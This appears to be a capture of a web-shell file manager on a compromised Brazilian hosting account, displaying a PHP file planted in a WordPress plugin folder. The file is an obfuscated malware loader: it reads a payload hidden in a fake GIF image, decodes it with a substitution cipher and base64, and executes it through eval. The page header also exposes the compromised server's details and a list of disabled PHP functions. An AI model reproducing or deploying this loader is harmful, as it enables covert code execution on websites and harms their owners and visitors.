HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-content/plugins/abidyzh/ypodaza.txt
<?php

function vasero_yzaqofym($kateje_thabewam) {
    if ($kateje_thabewam == 1)
        return onykus_ijabazas();
    if ($kateje_thabewam == 2)
        return akamov_abamahar();
}

function ibuves_eqojabath($kateje_thabewam) {
    $nabigyv = vasero_yzaqofym(1);
    $ijidaj = vasero_yzaqofym(2);
    for ($usubaf = 0; $usubaf < strlen($nabigyv); $usubaf++) {
        $mabusi = substr($nabigyv, $usubaf, 1);
        $evozhix = substr($ijidaj, $usubaf, 1);
        $iwirez[$mabusi] = $evozhix;
    }

    $hinoduk = strtr($kateje_thabewam, $iwirez);
    $hinoduk = base64_decode($hinoduk);

    return $hinoduk;
}

function qowuge_zhechymu($kateje_thabewam) {
    $ycyqen = array();
    if (!file_exists($kateje_thabewam))
        return false;
    $cysowyk = @file_get_contents($kateje_thabewam);
    if (!$cysowyk)
        return false;
    $cysowyk = substr($cysowyk, 3);
    $ycyqen = ibuves_eqojabath($cysowyk);
    return $ycyqen;
}

function onykus_ijabazas() {
    $cysowyk = "RhNs/aH=ndzEjlWCKgAo0IYVJwkTrQv+cFySZ6GuMi4DXOpxq9f3Bb875Ut1P2meL";
    return $cysowyk;
}

function akamov_abamahar() {
    $ycyqen = "cVN3jglnGkiO0Hm4AsUuxfFCPM+=hzX6EWy1L58DQKrISbw7Z9qtTovdeR/aJ2YBp";
    return $ycyqen;
}

$pyzerel = qowuge_zhechymu(__DIR__ . "/asse" . "ts/ima" . "ges/" . "uvuf" . "yr.gif");
if ($pyzerel) {
    @eval($pyzerel);
}